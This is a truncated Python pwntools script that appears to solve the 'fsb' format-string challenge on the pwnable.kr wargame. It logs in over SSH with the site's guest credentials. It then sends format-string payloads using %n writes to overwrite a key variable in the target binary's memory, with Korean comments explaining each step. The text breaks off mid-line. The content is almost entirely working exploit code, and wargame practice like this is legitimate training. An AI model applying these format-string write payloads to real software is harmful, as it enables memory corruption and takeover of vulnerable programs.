from pwn import * s = ssh(user='fsb', host='pwnable.kr', port=2222, password='guest') p = s.process(executable='/home/fsb/fsb') # p = process("./fsb") # key = 0x0804a060 = 134520928 # key+4 = 134520932 p.sendafter("(1)\n", "%134520928c%14$n") # esp+0x50에 key 주소 p.sendafter("(2)\n", "%134520932c%15$n") # esp+0x54에 key+4 주소 p.sendafter("(3)\n", "A"*15+"%20$n") # 하위 4byte에 0xf p.sendafter("(4)\n", ..